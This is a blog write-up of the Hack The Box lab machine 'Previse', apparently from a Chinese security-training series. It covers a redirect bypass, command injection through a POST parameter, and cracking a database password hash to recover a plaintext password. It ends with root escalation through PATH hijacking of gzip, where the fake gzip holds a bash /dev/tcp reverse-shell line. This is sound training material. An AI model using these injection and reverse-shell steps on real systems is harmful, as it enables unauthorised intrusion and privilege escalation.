【Hack The Box】linux练习-- Previse

news2024/11/30 6:56:02

HTB 学习笔记

【Hack The Box】linux练习-- Previse


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • ear
    • 基于ear的重定向绕过
    • 源码分析
    • www->
    • 命令挟持

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)

有价值的就这么两个

在这里插入图片描述
页面底部有一个
m4lwhere
可能是一个用户名
在这里插入图片描述
抓包分析的时候发现它不光返回302,还返回一个完整的页面

ear

这是 重定向后执行 (EAR) 漏洞 。 PHP 代码可能会检查会话,如果没有,则发送重定向。 这是来自 OWASP 页面的示例:

<?php if (!$loggedin) {
     print "<script>window.location = '/login';</script>\n\n"; 
} ?>

基于ear的重定向绕过

首先对bp进行设置,可以抓响应包
在这里插入图片描述在这里插入图片描述我把302 notfound改成200 ok(大写)

在这里插入图片描述
这个页面不是很有用,但它在那里。 顶部的链接指向另外四个页面:

帐户 ( /accounts.php)
文件 ( /files.php)
管理菜单 –> 网站状态 ( /status.php)
管理菜单 –> 日志数据 ( file_logs.php)

我试图添加一个用户

在这里插入图片描述
在这里插入图片描述这里同样是一个302,我们依旧可以修改成200来成功添加用户

而后可以不用bp了,正常登陆
而后来到files目录
在这里插入图片描述
有这个压缩包,点一下下载下来

源码分析

检索一下危险函数

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

看到存在危险函数
在这里插入图片描述
出问题的源码(logs.php)

<?php
session_start();
if (!isset($_SESSION['user'])) {
    header('Location: login.php');
    exit;
}
?>

<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
    header('Location: login.php');
    exit;
}
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;

$filepath = "/var/www/out.log";
$filename = "out.log";

if(file_exists($filepath)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . filesize($filepath));
    ob_clean(); // Discard data in the output buffer
    flush(); // Flush system headers
    readfile($filepath);
    die();
} else {
    http_response_code(404);
    die();
}
?> 

可以看到
在将用户输入放入调用之前没有对用户输入进行清理 exec,这意味着我可以添加各种注入来执行,比如
; [command]和 $([command])

在这里插入图片描述我们选space模式,而后跟一个bash的反弹命令即可
用分号做隔断

在这里插入图片描述

www->

先建立一个稳定的shell

script /dev/null -c bash

在/var/www/html/config.php下找到了凭据
在这里插入图片描述

$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';

密码不能复用,我将在数据库寻找答案

mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
show databases;
use previse;
show tables;
describe files;//描述一下这个表,防止太大了一下挤爆靶场
+-------------+--------------+------+-----+-------------------+----------------+
| Field       | Type         | Null | Key | Default           | Extra          |
+-------------+--------------+------+-----+-------------------+----------------+
| id          | int(11)      | NO   | PRI | NULL              | auto_increment |
| name        | varchar(255) | NO   |     | NULL              |                |
| size        | int(11)      | NO   |     | NULL              |                |
| user        | varchar(255) | YES  |     | NULL              |                |
| data        | blob         | YES  |     | NULL              |                |
| upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
| protected   | tinyint(1)   | YES  |     | 0                 |                |
+-------------+--------------+------+-----+-------------------+----------------+

发现文件很大,所以不能直接select打开

select name,size,user,protected from files;

在这里插入图片描述再看下一个表

describe accounts;
select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password                           | created_at          |
+----+----------+------------------------------------+---------------------+
|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
|  2 | 0xdff    | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
+----+----------+------------------------------------+---------------------+

得到了一组凭据

m4lwhere 
 $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

这为啥有个奶瓶?

hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

凭据如下

m4lwhere/ilovecody112235!

而后登陆m4lwhere用户
直接su即可
在这里插入图片描述sudo -l显示他可以执行那个backup脚本

在这里插入图片描述
cat打开看看

#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

在这里插入图片描述
看起来这个脚本有点问题,并且是个计划任务应该,因为他提到了cron
该脚本正在将日志备份到 /var/backups:

命令挟持

该脚本的漏洞在于 gzip在没有完整路径的情况下被调用。
在 /tmp我将创建一个名为 gzip的文件
生成一个反向 shell:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.29/4444 0>&1

添加自制gzip到临时环境变量

export PATH=/tmp:$PATH

记得赋权

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41275.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Microsoft SQL Server中的错误配置

介绍 这篇文章将介绍如何利用Microsoft SQL Server中的错误配置&#xff0c;尝试获取反向shell并熟悉Impacket工具的使用&#xff0c;以便进一步攻击某些服务。 impacket的安装地址&#xff1a;https://github.com/SecureAuthCorp/impacket Impacket是用于处理网络协议的Pyt…

FPGA学习-vivado软件的使用

FPGA学习-vivado软件的使用1.杂谈2. vivado新建工程1.杂谈 又被封了7天。 正好封控前领导让我改下fpga代码&#xff0c;趁这个机会好好学习下&#xff0c;虽然在这块一片空白&#xff0c;但是毕竟这块是我的短板&#xff0c;一个不会写代码的硬件工程师是一个不完整的硬件工程…

无条码商品新建商品档案,搭配蓝牙便携打印机移动打印条码标签

null无条码商品的商品档案新建&#xff0c;并打印条码标签&#xff0c;即可实现仓库条码管理&#xff0c;扫码入库&#xff0c;出库&#xff0c;盘点等操作。, 视频播放量 1、弹幕量 0、点赞数 0、投硬币枚数 0、收藏人数 0、转发人数 0, 视频作者 汉码盘点机PDA, 作者简介 &am…

【WSN通信】A_Star改进LEACH多跳传输协议【含Matlab源码 487期】

⛄一、 A_Star改进LEACH多跳传输协议简介 1 理论基础 1.1 A*算法 A算法是一种智能搜索算法,他在求解问题时所得到的结果会选择所有路径中代价最小的节点。 A算法是一种基于启发式函数的算法,搜索过程如下:首先创建两个分别命名为open表和close表的表格,其中open表中存放还未访…

【Hack The Box】linux练习-- Doctor

HTB 学习笔记 【Hack The Box】linux练习-- Doctor &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月23日&#x1f334; &#x1f3…

量子计算(九):复合系统与联合测量

文章目录 复合系统与联合测量 一、张量积 二、复合系统的状态演化 复合系统与联合测量 拥有两个或两个以上的量子比特的量子系统通常被称为复合系统&#xff08;composite systems&#xff09;。单量子比特系统的描述与测量已有所了解&#xff0c;那么多个量子比特的系统该如…

R语言基于ARMA-GARCH过程的VaR拟合和预测

本文展示了如何基于基础ARMA-GARCH过程&#xff08;当然这也涉及广义上的QRM&#xff09;来拟合和预测风险价值&#xff08;Value-at-Risk&#xff0c;VaR&#xff09;。 最近我们被客户要求撰写关于ARMA-GARCH的研究报告&#xff0c;包括一些图形和统计输出。 视频&#xff…

树莓派安装ubuntu系统

ubuntu镜像下载 官方地址&#xff1a;https://cn.ubuntu.com/download/raspberry-pi 清华镜像&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/ubuntu-cdimage/ubuntu/releases/22.04.1/release/ 准备树莓派镜像工具&#xff08;Raspberry Pi Imager&#xff09; 下载地…

如何在 Spring Boot 中使用 JPA 和 JPQL 进行自定义查询示例

在本教程中&#xff0c;您将了解如何在 Spring Boot 示例中使用 Spring JPA Query进行自定义查询。我将向您展示&#xff1a; 使用JPQL&#xff08;Java持久性查询语言&#xff09;的方法如何在 Spring 引导中执行 SQL 查询具有 WHERE 条件的 JPA 选择查询示例内容 JPQL 与本机…

【408专项篇】C语言笔记-第七章(函数)

第一节&#xff1a;函数的声明与定定义 1. 函数的声明与定义 函数间的调用关系是&#xff1a;由主函数调用其他函数&#xff0c;其他函数也可以互相调用。同一个函数可以被一个或多个函数调用任意次。 #include "func.h"int main() {int a10;aprint_star(a);print_…

SPI和API还在傻傻分不清楚?

什么是SPI 介绍 再聊下一个类加载器框架OSGI之前&#xff0c;我们首先学习一下前驱知识SPI 全称&#xff1a;Service Provider Interface 区别于API模式&#xff0c;本质是一种服务接口规范定义权的转移&#xff0c;从服务提供者转移到服务消费者。 怎么理解呢&#xff1f…

JavaScript游戏开发(3)(笔记)

文章目录七、支持移动设备的横向卷轴游戏准备7.1 角色的简单移动7.2 背景7.3 加入敌人与帧数控制7.4 碰撞、计分、重新开始7.5 手机格式7.6 全屏模式7.7 存在的问题附录素材可以去一位大佬放在github的源码中直接下&#xff0c;见附录。 七、支持移动设备的横向卷轴游戏 使用…

手摸手使用IDEA创建多模块(maven)项目

有了前面两篇手摸手打底&#xff0c;相信大家对IDEA创建项目和配置使用maven已经没有什么问题了。那么这篇文章阅读起来也会非常流畅。 对于IDEA来说&#xff0c;可以用拼接模块&#xff08;Module&#xff09;并引用的方式来“搭”一个项目&#xff08;Project&#xff09;。…

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341

【全志T113-S3_100ask】15-2 linux系统gpio模拟spi驱动屏幕——ILI9341背景&#xff08;一&#xff09;查阅参考文档&#xff08;二&#xff09;使能内核模块&#xff08;三&#xff09;修改设备树&#xff08;四&#xff09;测试&#xff08;五&#xff09;后语背景 在上一小…

nginx的安装与nginx降权+匹配php

安装nginx: 安装的插件的作用: 1.gcc 可以编译 C,C,Ada,Object C和Java等语言&#xff08;安装 nginx 需要先将官网下载的源码进行编译&#xff0c;编译依赖 gcc 环境&#xff09; 2.pcre pcre-devel pcre是一个perl库&#xff0c;包括perl兼容的正则表达式库&#xff0c;ngin…

样本于抽样分布(1)-基本概念

从理论上讲&#xff0c;只要对随机现象进行足够多次的试验&#xff0c;被研究的随机现象的规律 性就能清楚地呈现出来&#xff0e; 但实际上&#xff0c;试验的次数只能是有限的&#xff0c;有时甚至是很少 的&#xff0c;因为采集某些数据时&#xff0c;常要将研究的对象破坏&…

【Gradle】四、使用Gradle创建SringBoot微服务项目

使用Gradle创建SringBoot微服务项目一、 创建Springboot项目0、阿里云脚手架创建项目1、引入 t springboot2 、引入依赖3、执行 geradle bootRun 指令4、spring-boot-gradle-plugin 插件‘二、多模块项目1、settings.gradle2、build.gradle3、version.gradle4、test_service的配…

图论:自反与对称

图论1.自反与反自反2.对称与反对称3.传递与非传递1.自反与反自反 自反&#xff1a;相同顶点都在集合内。 反自反&#xff1a;相同顶点都不在集合内。 参考下图&#xff1a;有三部分&#xff0c;红色的自反&#xff0c;蓝色的反自反&#xff0c;以及白色的都不是。 例1&#…

Animation

1、Animation窗口 Window——>Animation——>Animation Animation窗口 直译就是动画窗口&#xff0c;它主要用于在Unity内部创建和修改动画&#xff0c;所有在场景中的对象都可以通过Animation窗口为其制作动画 原理&#xff1a; 制作动画时&#xff1a;记录在固定时间…

[Linux]-----进程信号

文章目录前言一、什么是信号我们是如何得知这些信号呢&#xff1f;我们知道对应的信号产生时&#xff0c;要做什么呢&#xff1f;二、进程信号前台进程和后台进程注意三、信号列表信号的捕捉四、信号产生前用户层产生信号的方式signal函数killraiseabort由软件条件产生信号硬件…